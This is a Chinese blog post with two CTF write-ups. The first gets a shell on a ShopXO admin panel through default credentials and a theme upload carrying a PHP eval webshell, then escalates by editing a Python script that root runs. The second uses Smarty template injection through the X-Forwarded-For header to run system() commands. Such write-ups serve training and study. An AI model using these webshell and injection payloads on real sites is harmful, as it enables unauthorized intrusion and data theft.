2021-02-24

46 篇文章 0 订阅

[GKCTF2020]老八小超市儿

知识点

  • shopxo后台全版本获取shell
  • 搜索能力

渗透测试|shopxo后台全版本获取shell复现

启动靶机:在这里插入图片描述
一看就知道是个CMS,我们试着搜索一下ShopXO企业级免费开源商城系统的漏洞,可以知道一个后台的文件上传漏洞

知道了默认后台地址以及账号和密码:/admin.php | admin:shopxo
在这里插入图片描述

成功进入后台在这里插入图片描述
左侧找到安装主题功能,然后到shopxo官网下载一个官方的主题模板,摸了一下主题模板的结构后发现可以把马插在压缩包的/主题名/_static_

getshell

1.在后台找到应用中心-应用商店-主题,然后下载默认主题。在这里插入图片描述2.下载下来的主题是一个安装包,然后把你的shell(php马子)放到压缩包的default\_static_目录下,如下图

在这里插入图片描述

顺带说一下这种后台getshell最好用一句话

<?php @eval($_POST[ysneko]);?>

3.回到网页上,找到网站管理-主题管理-主题安装(然后选择你加入shell后的主题压缩包进行上传)

渗透测试|shopxo后台全版本获取shell复现在这里插入图片描述
4.安装成功后,shell就可以用了,地址是:http://xxx.com/static/index/default(主题名)/try.php(上传的shell)在这里插入图片描述

没有报404,上传成功,接下来用蚁剑连接在这里插入图片描述
成功连接,然后兴高采烈的去找flag,结果找到一个错误的flag,提示我们这是一个假flag,真flag在/root在这里插入图片描述
但是我们并没有root权限在这里插入图片描述
我们可以看到当前是www-data用户,这是一个标准的低权限用户,并没有root权限在这里插入图片描述
无奈只能想办法提权,但是转眼一看内核版本,好像不太行
在这里插入图片描述
这个版本基本不可能提权,所以只能到处找找线索,经过好一通翻找,在根目录发现了一个权限为0755的sh脚本,从文件名来看应该是某种自动脚本在这里插入图片描述内容如下:

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

这段脚本的意思是每60秒执行一次中间的python脚本,我们再来看下中间调用的makeflaghint.py

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

这段脚本的作用大致是调用某些参数生成/flag.hint文件,所以最终auto.sh的效果是每隔60秒调用makeflaghint.py生成一个flag.hint在这里插入图片描述

随着两次刷新,flag.hint更新了,表明auto.sh确实是在后台以root权限执行,那么我们只需要修改makeflaghint.py的内容来获取/root中的flag即可

flag=io.open("/root/flag","r").read()
f.write(str(flag))

在这里插入图片描述

在这里插入图片描述
总体思路:
脸上蚁剑之后查看flag,会发现是假的,但从中可以知道真实flag在root目录下,访问root目录没有权限

查看根目录的flag.hint可以知道一个线索:

Sun May 24 07:51:26 2020 Get The RooT,The Date Is Useful!

然后查看根目录的auto.sh可以知道一个线索,每60秒会调用一个makeflaghint.py文件重新生成flag.hint,所以auto.sh调用makeflaghint.py是root权限,我们可以直接修改makeflaghint.py的内容执行cat /root/flag获取flag

[CISCN2019 华东南赛区]Web11

知识点:

考点:

  • Smarty的XFF注入
  • 全部的PHP条件表达式和函数都可在{if}中使用

启动:

在这里插入图片描述

题目中显示的API的URL由于环境的原因无法使用,但是我们的IP依旧显示在了页面的右上角。很容易猜测出这个IP的值受XFF头控制 。将XFF头改为{7*7}会发现该位置的值变为了49,便可以确定这里存在SSTI。在这里插入图片描述
我们再添加请求头:X-Forwarded-For: 127.0.0.1,在Repeater中发送数据包,得到回显:
在这里插入图片描述
跟猜想的内容一致,再次确定此处存在注入

访问/index.php页面,能正常回显,判断其后端语言为PHP,而且其脚注中:在这里插入图片描述

其为PHP模版引擎,基本语法:

{$name}变量
{$name[2]}数组
{* 注释 *}注释
{if}{/if}
获取配置变量:{$smarty.config}
返回当前目录名称:{$smarty.current_dir}

我们已经用语句测试模版语法能否执行
X-Forwarded-For: {7*7}
然后最主要的是嵌入php脚本
能否在模板中直接嵌入php脚本,取决于$php_handling的设置,基本语法:

{php}
	include("/path/to/display_weather.php");
{/php}

但在测试时频频报错,后来查阅资料,全部的PHP条件表达式和函数都可在{if}中使用
首先查看phpinfo信息,使用BurpSuite抓取数据包,添加请求头信息:

X-Forwarded-For: {if phpinfo()}{/if}

发送数据包后,得到:在这里插入图片描述
已经可以执行php函数,所以尝试用system()函数执行命令,构造payload:

{if system('ls')}{/if}

在这里插入图片描述
发送数据包,得到当前目录下文件内容:在这里插入图片描述
查找flag所在位置:{if system('ls /')}{/if}在这里插入图片描述

在/目录下找到flag,使用cat命令读取:
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ShopXO 国内领先企业级B2C免费开源电商系统! 求实进取、创新专注、自主研发、国内领先企业级B2C电商系统解决方案。 遵循Apache2开源协议发布,并提供免费使用。 PC+WAP、支付宝小程序、微信小程序、百度小程序。 传送门 官网地址:http://shopxo.net/ 演示地址:http://demo.shopxo.net/ (管理账户/密码可进入官网查看) 支付宝小程序:http://shopxo.net/alipay.html (已发布) 微信小程序:https://shopxo.net/weixin.html (已发布) 安装教程 v1.2.0安装教程:https://ask.shopxo.net/article/5 官方QQ群 群号:833531593 答案:shopxo.net 源代码平台 Github:https://github.com/gongfuxiang/shopxo 码云/开源中国:https://gitee.com/gongfuxiang/shopxo 腾讯云开发者:https://dev.tencent.com/u/gongfuxiang/p/shopxo/git 扩展性 独立模块式开发,完善的注释,易扩展。 安全性 防止sql注入,代码高安全性。 轻量级,高性能 支持多数据库,读写分离,高并发,内置缓存机制。 后端基于ThinkPHP v5.1 ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,尤其注重开发体验和易用性,并且拥有众多的原创功能和特性,为WEB应用开发提供了强有力的支持。 前端基于AmazeUI v2.7.2 组件丰富,模块化 以移动优先(Mobile first)为理念,从小屏逐步扩展到大屏,最终实现所有屏幕适配,适应移动互联潮流。 本地化支持 相比国外框架,Amaze UI 关注中文排版,根据用户代理调整字体,实现更好的中文排版效果;兼顾国内主流浏览器及 App 内置浏览器兼容支持。 轻量级,高性能 Amaze UI 面向 HTML5 开发,使用 CSS3 来做动画交互,平滑、高效,更适合移动设备,让 Web 应用更快速载入。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值